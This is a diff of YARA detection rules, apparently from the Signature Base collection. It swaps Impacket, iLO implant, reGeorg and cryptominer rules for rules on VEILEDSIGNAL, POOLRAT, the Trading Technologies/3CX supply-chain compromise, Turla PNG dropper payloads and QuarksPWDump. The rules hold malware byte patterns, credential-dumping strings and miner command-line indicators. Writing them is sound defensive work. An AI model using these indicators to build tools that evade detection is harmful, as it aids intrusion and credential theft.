+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-rule SIGNATURE_BASE_Impacket_Tools_Wmiquery : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_5 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e8bdf27a-9763-5947-854f-162f74ff53be"
-		date = "2017-04-07"
+		description = "Detects VEILEDSIGNAL malware"
+		author = "Mandiant"
+		id = "7d0718fc-4f1c-5293-8dc4-81a5783fbfb2"
+		date = "2023-04-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L337-L351"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa237b5c1b4881804c33152a1ce9f3a571b506178fde455a8dd9f92af68c5610"
+		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_tradingtech_apr23.yar#L120-L143"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5d43b8198ad224bee8d290dd7031d73f76a7d957a2e3b44d89e7aaf5f2c94c65"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "202a1d149be35d96e491b0b65516f631f3486215f78526160cf262d8ae179094"
+		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
+		hash1 = "6727284586ecf528240be21bb6e97f88"
 
 	strings:
-		$s1 = "swmiquery" fullword ascii
-		$s2 = "\\yzHPlU=QA" ascii
+		$sb1 = { 48 8D 15 [4] 48 8D 4C 24 4C E8 [4] 85 C0 74 ?? 48 8D 15 [4] 48 8D 4C 24 4C E8 [4] 85 C0 74 ?? 48 8D 15 [4] 48 8D 4C 24 4C E8 [4] 85 C0 74 ?? 48 8D [3] 48 8B CB FF 15 [4] EB }
+		$ss1 = "chrome.exe" wide fullword
+		$ss2 = "firefox.exe" wide fullword
+		$ss3 = "msedge.exe" wide fullword
+		$ss4 = "\\\\.\\pipe\\*" ascii fullword
+		$ss5 = "FindFirstFileA" ascii fullword
+		$ss6 = "Process32FirstW" ascii fullword
+		$ss7 = "RtlAdjustPrivilege" ascii fullword
+		$ss8 = "GetCurrentProcess" ascii fullword
+		$ss9 = "NtWaitForSingleObject" ascii fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-rule SIGNATURE_BASE_Impacket_Tools_Atexec : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_6 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4f02e304-69d4-5952-80be-793379bccac0"
-		date = "2017-04-07"
+		description = "Detects VEILEDSIGNAL malware"
+		author = "Mandiant"
+		id = "2cbedbc0-d465-5674-bf9c-9362003eb8d2"
+		date = "2023-04-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L353-L369"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e9537a67e17fb980505aead84b15c7dc8a2f3f1e9a4088edd8b313f1b7a9675d"
+		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_tradingtech_apr23.yar#L145-L164"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d3b1e5f7a6b73fc4cdc5abe19a412130cde33c2d52c0ad78256b865e018e3794"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "337bd5858aba0380e16ee9a9d8f0b3f5bfc10056ced4e75901207166689fbedc"
+		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
+		hash1 = "00a43d64f9b5187a1e1f922b99b09b77"
 
 	strings:
-		$s1 = "batexec.exe.manifest" fullword ascii
-		$s2 = "satexec" fullword ascii
-		$s3 = "impacket.dcerpc" fullword ascii
-		$s4 = "# CSZq" fullword ascii
+		$ss1 = "C:\\Programdata\\" wide
+		$ss2 = "devobj.dll" wide fullword
+		$ss3 = "msvcr100.dll" wide fullword
+		$ss4 = "TpmVscMgrSvr.exe" wide fullword
+		$ss5 = "\\Microsoft\\Windows\\TPM" wide fullword
+		$ss6 = "CreateFileW" ascii fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <15000KB and 3 of them )
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
 }
-rule SIGNATURE_BASE_Impacket_Tools_Psexec : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_NK_MAL_M_Hunting_POOLRAT
 {
 	meta:
-		description = "Compiled Impacket Tools"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5e8d0964-7e6a-5ff6-b9db-e37f997c3e05"
-		date = "2017-04-07"
+		description = "Detects strings found in POOLRAT malware"
+		author = "Mandiant"
+		id = "70f5f3a0-0fd0-54dc-97cc-4f3c35f02fcd"
+		date = "2023-04-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L371-L386"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "922b2adec9c73d36343c0182f72f5a325c93c051a22e3f80236f942287d0738b"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "27bb10569a872367ba1cfca3cf1c9b428422c82af7ab4c2728f501406461c364"
+		old_rule_name = "APT_NK_MAL_M_Hunting_POOLRAT"
+		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_tradingtech_apr23.yar#L166-L202"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ac8db844a9c4ed961930417809afb706ea948c4509a4be1eaeed77f09c86069d"
+		score = 70
+		quality = 83
+		tags = ""
+		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
+		hash1 = "451c23709ecd5a8461ad060f6346930c"
 
 	strings:
-		$s1 = "impacket.examples.serviceinstall(" ascii
-		$s2 = "spsexec" fullword ascii
-		$s3 = "impacket.examples.remcomsvc(" ascii
+		$s1 = "name=\"uid\"%s%s%u%s" ascii wide
+		$s2 = "name=\"session\"%s%s%u%s" ascii wide
+		$s3 = "name=\"action\"%s%s%s%s" ascii wide
+		$s4 = "name=\"token\"%s%s%u%s" ascii wide
+		$str1 = "--N9dLfqxHNUUw8qaUPqggVTpX-" wide ascii nocase
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and 2 of them )
+		any of ($s*) or $str1
 }
-rule SIGNATURE_BASE_Impacket_Tools_Generic_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_NK_Tradingtech_Forensicartifacts_Apr23_1 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d2ce6426-d165-5569-a992-268f05622653"
-		date = "2017-04-07"
-		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L388-L423"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a66953ca6a99a7880d757a754bb3010aa394de73292975a3741ec5cf1f20385d"
-		score = 75
+		description = "Detects forensic artifacts, file names and keywords related the Trading Technologies compromise UNC4736"
+		author = "Florian Roth"
+		id = "f79a5321-4f22-52d9-aa83-4aa750ecc036"
+		date = "2023-04-20"
+		modified = "2023-04-21"
+		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_tradingtech_apr23.yar#L204-L225"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "50329427e56b70335a12f0dde87a36ac95838377482eebab334d252332fe481b"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "4f7fad0676d3c3d2d89e8d4e74b6ec40af731b1ddf5499a0b81fc3b1cd797ee3"
-		hash2 = "d256d1e05695d62a86d9e76830fcbb856ba7bd578165a561edd43b9f7fdb18a3"
-		hash3 = "2d8d500bcb3ffd22ddd8bd68b5b2ce935c958304f03729442a20a28b2c0328c1"
-		hash4 = "ab909f8082c2d04f73d8be8f4c2640a5582294306dffdcc85e83a39d20c49ed6"
-		hash5 = "e2205539f29972d4e2a83eabf92af18dd406c9be97f70661c336ddf5eb496742"
-		hash6 = "27bb10569a872367ba1cfca3cf1c9b428422c82af7ab4c2728f501406461c364"
-		hash7 = "dc85a3944fcb8cc0991be100859c4e1bf84062f7428c4dc27c71e08d88383c98"
-		hash8 = "0f7f0d8afb230c31fe6cf349c4012b430fc3d6722289938f7e33ea15b2996e1b"
-		hash9 = "21d85b36197db47b94b0f4995d07b040a0455ebbe6d413bc33d926ee4e0315d9"
-		hash10 = "4c2921702d18e0874b57638433474e54719ee6dfa39d323839d216952c5c834a"
-		hash11 = "47afa5fd954190df825924c55112e65fd8ed0f7e1d6fd403ede5209623534d7d"
-		hash12 = "7d715217e23a471d42d95c624179fe7de085af5670171d212b7b798ed9bf07c2"
-		hash13 = "9706eb99e48e445ac4240b5acb2efd49468a800913e70e40b25c2bf80d6be35f"
-		hash14 = "d2856e98011541883e5b335cb46b713b1a6b2c414966a9de122ee7fb226aa7f7"
-		hash15 = "8ab2b60aadf97e921e3a9df5cf1c135fbc851cb66d09b1043eaaa1dc01b9a699"
-		hash16 = "efff15e1815fb3c156678417d6037ddf4b711a3122c9b5bc2ca8dc97165d3769"
-		hash17 = "e300339058a885475f5952fb4e9faaa09bb6eac26757443017b281c46b03108b"
-		hash18 = "19544863758341fe7276c59d85f4aa17094045621ca9c98f8a9e7307c290bad4"
-		hash19 = "2527fff1a3c780f6a757f13a8912278a417aea84295af1abfa4666572bbbf086"
-		hash20 = "202a1d149be35d96e491b0b65516f631f3486215f78526160cf262d8ae179094"
 
 	strings:
-		$s1 = "bpywintypes27.dll" fullword ascii
-		$s2 = "hZFtPC" fullword ascii
-		$s3 = "impacket" ascii
+		$x1 = "www.tradingtechnologies.com/trading/order-management" ascii wide
+		$xf1 = "X_TRADER_r7.17.90p608.exe" ascii wide
+		$xf2 = "\\X_TRADER-ja.mst" ascii wide
+		$xf3 = "C:\\Programdata\\TPM\\TpmVscMgrSvr.exe" ascii wide
+		$xf4 = "C:\\Programdata\\TPM\\winscard.dll" ascii wide
+		$fp1 = "<html"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <21000KB and all of ($s*)) or ( all of them )
+		not uint16(0)==0x5025 and 1 of ($x*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Impacket_Lateral_Movement : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_TH_APT_UNC4736_Tradingtech_Cert_Apr23_1
 {
 	meta:
-		description = "Detects Impacket Network Aktivity for Lateral Movement"
-		author = "Markus Neis"
-		id = "44db234c-ac81-5d21-bc2a-8cfd88807c0d"
-		date = "2018-03-22"
+		description = "Threat hunting rule that detects samples signed with the compromised Trading Technologies certificate after May 2022"
+		author = "Florian Roth"
+		id = "9a05fba9-9466-5b69-9207-27ad01d6eb8b"
+		date = "2023-04-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/CoreSecurity/impacket"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L425-L443"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6628c27474d5235d5b510a55215762980a5b526b353b740344cb669e8e023e3c"
-		score = 60
+		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_tradingtech_apr23.yar#L227-L242"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "47941828b3c18ed39eddacbc73e147651a9bd48e1a0f7b9847ff1d4c6fea6afd"
+		score = 65
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$s1 = "impacket.dcerpc.v5.transport(" ascii
-		$s2 = "impacket.smbconnection(" ascii
-		$s3 = "impacket.dcerpc.v5.ndr(" ascii
-		$s4 = "impacket.spnego(" ascii
-		$s5 = "impacket.smb(" ascii
-		$s6 = "impacket.ntlm(" ascii
-		$s7 = "impacket.nmb(" ascii
+		$s1 = { 00 85 38 A6 C5 01 8F 50 FC }
+		$s2 = "Go Daddy Secure Certificate Authority - G2"
+		$s3 = "Trading Technologies International, Inc"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <14000KB and 2 of them
+		pe.timestamp>1651363200 and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_HP_Ilo_Firmware_Dec21_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Turla_Png_Dropper : FILE
 {
 	meta:
-		description = "Detects suspicios ELF files with sections as described in malicious iLO Board analysis by AmnPardaz in December 2021"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7f5fa905-07a3-55da-b644-c5ab882b4a9d"
-		date = "2021-12-28"
+		description = "Detects the PNG Dropper used by the Turla group"
+		author = "Ben Humphrey"
+		id = "459f17c8-0eae-5736-8c7c-286625dc158f"
+		date = "2018-11-23"
 		modified = "2023-12-05"
-		reference = "https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_mal_ilo_board_elf.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7e959d07d864a485b8cc7765f9e12869ff34747ab552e26244eb28f510d1051f"
-		score = 80
+		reference = "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_png_dropper_nov18.yar#L3-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c859310660603d0748cf17daea0799af7684f2a9f77f729871eb57338fbfcca6"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "6ed939f59476fd31dc4d99e96136e928fbd88aec0d9c59846092c0e93a3c0e27"
 
 	strings:
-		$s1 = ".newelf.elf.text" ascii
-		$s2 = ".newelf.elf.libc.so.data" ascii
-		$s3 = ".newelf.elf.Initial.stack" ascii
-		$s4 = ".newelf.elf.libevlog.so.data" ascii
+		$api0 = "GdiplusStartup"
+		$api1 = "GdipAlloc"
+		$api2 = "GdipCreateBitmapFromStreamICM"
+		$api3 = "GdipBitmapLockBits"
+		$api4 = "GdipGetImageWidth"
+		$api5 = "GdipGetImageHeight"
+		$api6 = "GdiplusShutdown"
+		$code32 = {
+            8B 46 3C               // mov     eax, [esi+3Ch]
+            B9 0B 01 00 00         // mov     ecx, 10Bh
+            66 39 4C 30 18         // cmp     [eax+esi+18h], cx
+            8B 44 30 28            // mov     eax, [eax+esi+28h]
+            6A 00                  // push    0
+            B9 AF BE AD DE         // mov     ecx, 0DEADBEAFh
+            51                     // push    ecx
+            51                     // push    ecx
+            03 C6                  // add     eax, esi
+            56                     // push    esi
+            FF D0                  // call eax
+        }
+		$code64 = {
+            48 63 43 3C            // movsxd rax, dword ptr [rbx+3Ch]
+            B9 0B 01 00 00         // mov ecx, 10Bh
+            BA AF BE AD DE         // mov edx, 0DEADBEAFh
+            66 39 4C 18 18         // cmp [rax+rbx+18h], cx
+            8B 44 18 28            // mov eax, [rax+rbx+28h]
+            45 33 C9               // xor r9d, r9d
+            44 8B C2               // mov r8d, edx
+            48 8B CB               // mov rcx, rbx
+            48 03 C3               // add rax, rbx
+            FF D0                  // call rax
+        }
 
 	condition:
-		filesize <5MB and 2 of them or all of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and all of ($api*) and 1 of ($code*)
 }
-rule SIGNATURE_BASE_REGEORG_Tuneller_Generic : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Turla_Png_Reg_Enum_Payload : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
-		author = "Mandiant"
-		id = "a87979b7-2732-5a32-b3f3-a815a58b6589"
-		date = "2021-12-20"
+		description = "Payload that has most recently been dropped by the Turla PNG Dropper"
+		author = "Ben Humphrey"
+		id = "413bb315-3c01-56ab-92db-00342a11438a"
+		date = "2018-11-23"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/unc3524-eye-spy-email"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/webshell_regeorg.yar#L1-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ba22992ce835dadcd06bff4ab7b162f9"
-		logic_hash = "1657928875c3cd2d5bf774929b0497d78f0211b321f8a4138cc9b8c80b9f99d6"
+		reference = "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_png_dropper_nov18.yar#L51-L77"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b01d0c3a26ce955570ed5607514906bd8860f36637957e39a15f74a7dbb1a1e6"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		date_modified = "2021-12-20"
+		hash1 = "fea27eb2e939e930c8617dcf64366d1649988f30555f6ee9cd09fe54e4bc22b3"
 
 	strings:
-		$s1 = "System.Net.IPEndPoint"
-		$s2 = "Response.AddHeader"
-		$s3 = "Request.InputStream.Read"
-		$s4 = "Request.Headers.Get"
-		$s5 = "Response.Write"
-		$s6 = "System.Buffer.BlockCopy"
-		$s7 = "Response.BinaryWrite"
-		$s8 = "SocketException soex"
+		$crypt00 = "Microsoft Software Key Storage Provider" wide
+		$crypt01 = "ChainingModeCBC" wide
 
 	condition:
-		filesize <1MB and 7 of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and pe.imports("advapi32.dll","StartServiceCtrlDispatcherA") and pe.imports("advapi32.dll","RegEnumValueA") and pe.imports("advapi32.dll","RegEnumKeyExA") and pe.imports("ncrypt.dll","NCryptOpenStorageProvider") and pe.imports("ncrypt.dll","NCryptEnumKeys") and pe.imports("ncrypt.dll","NCryptOpenKey") and pe.imports("ncrypt.dll","NCryptDecrypt") and pe.imports("ncrypt.dll","BCryptGenerateSymmetricKey") and pe.imports("ncrypt.dll","BCryptGetProperty") and pe.imports("ncrypt.dll","BCryptDecrypt") and pe.imports("ncrypt.dll","BCryptEncrypt") and all of them
 }
 import "pe"
 
@@ -293392,8 +304315,8 @@ rule SIGNATURE_BASE_APT12_Malware_Aug17 : FILE
 		date = "2017-08-30"
 		modified = "2023-12-05"
 		reference = "http://blog.macnica.net/blog/2017/08/post-fb81.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt12_malware.yar#L13-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt12_malware.yar#L13-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
 		logic_hash = "0766376689540680f8db699f64aa89fc32ddef619a74864eb816c598b8d08c8a"
 		score = 75
 		quality = 85
@@ -293405,39661 +304328,36974 @@ rule SIGNATURE_BASE_APT12_Malware_Aug17 : FILE
 	condition:
 		( uint16(0)==0x5a4d and pe.imphash()=="9ba915fd04f248ad62e856c7238c0264")
 }
-rule SIGNATURE_BASE_Coinminer_Strings : SCRIPT HIGHVOL FILE
-{
-	meta:
-		description = "Detects mining pool protocol string in Executable"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ac045f83-5f32-57a9-8011-99a2658a0e05"
-		date = "2018-01-04"
-		modified = "2021-10-26"
-		reference = "https://minergate.com/faq/what-pool-address"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/pua_cryptocoin_miner.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2d63bf90560c83ab6c09e0c82b6a6449bca6e7e7d0945d3782c2fa9a726b2ca1"
-		score = 60
-		quality = 85
-		tags = "SCRIPT, HIGHVOL, FILE"
-		nodeepdive = 1
-
-	strings:
-		$sa1 = "stratum+tcp://" ascii
-		$sa2 = "stratum+udp://" ascii
-		$sb1 = "\"normalHashing\": true,"
-
-	condition:
-		filesize <3000KB and 1 of them
-}
-rule SIGNATURE_BASE_Coinhive_Javascript_Monerominer : HIGHVOL FILE
+rule SIGNATURE_BASE_Quarkspwdump_Gen
 {
 	meta:
-		description = "Detects CoinHive - JavaScript Crypto Miner"
+		description = "Detects all QuarksPWDump versions"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4f40c342-fcdc-5c73-a3cf-7b2ed438eaaf"
-		date = "2018-01-04"
+		id = "7de4f59e-6cf5-5ad7-ae1f-8532d9e80c9e"
+		date = "2015-09-29"
 		modified = "2023-12-05"
-		reference = "https://coinhive.com/documentation/miner"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/pua_cryptocoin_miner.yar#L20-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4146b034a9785f1bb7c60db62db0e478d960f2ac9adb7c5b74b365186578ca47"
-		score = 50
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_quarkspwdump.yar#L2-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "327235260076f97c29acc1ca997205d08ef55fad795594fe2268f1d8e666d636"
+		score = 80
 		quality = 85
-		tags = "HIGHVOL, FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2b86e6aea37c324ce686bd2b49cf5b871d90f51cec24476daa01dd69543b54fa"
+		hash2 = "87e4c76cd194568e65287f894b4afcef26d498386de181f568879dde124ff48f"
+		hash3 = "a59be92bf4cce04335bd1a1fcf08c1a94d5820b80c068b3efe13e2ca83d857c9"
+		hash4 = "c5cbb06caa5067fdf916e2f56572435dd40439d8e8554d3354b44f0fd45814ab"
+		hash5 = "677c06db064ee8d8777a56a641f773266a4d8e0e48fbf0331da696bea16df6aa"
+		hash6 = "d3a1eb1f47588e953b9759a76dfa3f07a3b95fab8d8aa59000fd98251d499674"
+		hash7 = "8a81b3a75e783765fe4335a2a6d1e126b12e09380edc4da8319efd9288d88819"
 
 	strings:
-		$s2 = "CoinHive.CONFIG.REQUIRES_AUTH" fullword ascii
+		$s1 = "OpenProcessToken() error: 0x%08X" fullword ascii
+		$s2 = "%d dumped" fullword ascii
+		$s3 = "AdjustTokenPrivileges() error: 0x%08X" fullword ascii
+		$s4 = "\\SAM-%u.dmp" ascii
 
 	condition:
-		filesize <65KB and 1 of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_Cryptominer_Jan19_1 : FILE
-{
-	meta:
-		description = "Detects Crypto Miner strings"
-		author = "Florian Roth (Nextron Systems)"
-		id = "aebfdce9-c2dd-5f24-aa25-071e1a961239"
-		date = "2019-01-31"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/pua_cryptocoin_miner.yar#L35-L52"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7097d404e0317230a5f60fc66fbcb2a2a5315f8fd348a7e689aaf75c26684f9e"
-		score = 80
-		quality = 85
-		tags = "FILE"
-		hash1 = "ede858683267c61e710e367993f5e589fcb4b4b57b09d023a67ea63084c54a05"
-
-	strings:
-		$s1 = "Stratum notify: invalid Merkle branch" fullword ascii
-		$s2 = "-t, --threads=N       number of miner threads (default: number of processors)" fullword ascii
-		$s3 = "User-Agent: cpuminer/" ascii
-		$s4 = "hash > target (false positive)" fullword ascii
-		$s5 = "thread %d: %lu hashes, %s khash/s" fullword ascii
+import "pe"
 
-	condition:
-		filesize <1000KB and 1 of them
-}
-rule SIGNATURE_BASE_PUA_Crypto_Mining_Commandline_Indicators_Oct21 : SCRIPT FILE
+rule SIGNATURE_BASE_SUSP_ENV_Folder_Root_File_Jan23_1 : SCRIPT FILE
 {
 	meta:
-		description = "Detects command line parameters often used by crypto mining software"
+		description = "Detects suspicious file path pointing to the root of a folder easily accessible via environment variables"
 		author = "Florian Roth (Nextron Systems)"
-		id = "afe5a63a-08c3-5cb7-b4b1-b996068124b7"
-		date = "2021-10-24"
+		id = "6067d822-5c1b-5b86-863c-fdcfa37da665"
+		date = "2023-01-11"
 		modified = "2023-12-05"
-		reference = "https://www.poolwatch.io/coin/monero"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/pua_cryptocoin_miner.yar#L54-L88"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7ae1a77d8ff02ec539ce2b8be668530c3f509f0c408dfa7f2b749b0a4d6f45b7"
-		score = 65
-		quality = 85
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_indicators.yar#L3-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5355ae567e6255e22f566bae9fe50f4995bafba07c261461d37d5b8ba200d33a"
+		score = 70
+		quality = 83
 		tags = "SCRIPT, FILE"
 
 	strings:
-		$s01 = " --cpu-priority="
-		$s02 = "--donate-level=0"
-		$s03 = " -o pool."
-		$s04 = " -o stratum+tcp://"
-		$s05 = " --nicehash"
-		$s06 = " --algo=rx/0 "
-		$se1 = "LS1kb25hdGUtbGV2ZWw9"
-		$se2 = "0tZG9uYXRlLWxldmVsP"
-		$se3 = "tLWRvbmF0ZS1sZXZlbD"
-		$se4 = "c3RyYXR1bSt0Y3A6Ly"
-		$se5 = "N0cmF0dW0rdGNwOi8v"
-		$se6 = "zdHJhdHVtK3RjcDovL"
-		$se7 = "c3RyYXR1bSt1ZHA6Ly"
-		$se8 = "N0cmF0dW0rdWRwOi8v"
-		$se9 = "zdHJhdHVtK3VkcDovL"
